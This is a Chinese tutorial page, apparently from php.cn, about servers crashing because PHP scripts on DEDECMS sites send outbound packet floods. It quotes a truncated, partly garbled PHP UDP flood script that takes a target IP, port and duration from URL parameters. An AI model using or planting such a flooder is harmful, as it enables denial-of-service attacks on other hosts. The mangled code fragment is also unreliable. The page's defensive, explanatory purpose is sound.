Home > Backend Development > PHP Tutorial > 服务器php对外发包引起崩溃的解决办法

服务器php对外发包引起崩溃的解决办法

WBOY
Release: 2016-06-06 15:35:23
Original
1253 people have browsed it

服务器php对外发包引起崩溃的解决办法

服务器php对外发包引起崩溃的解决办法

php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好

一。php对外发包分析

用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下: 以下是代码片段: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\'];sbxl-20120612 $time = time(); print \'Flooded: $ip on port $rand \'; $max_time = $time+$exec_time; for($i=0;$i $max_time){ break; } $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \'Packet complete at \'.time(\'h:i:s\').\' with

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template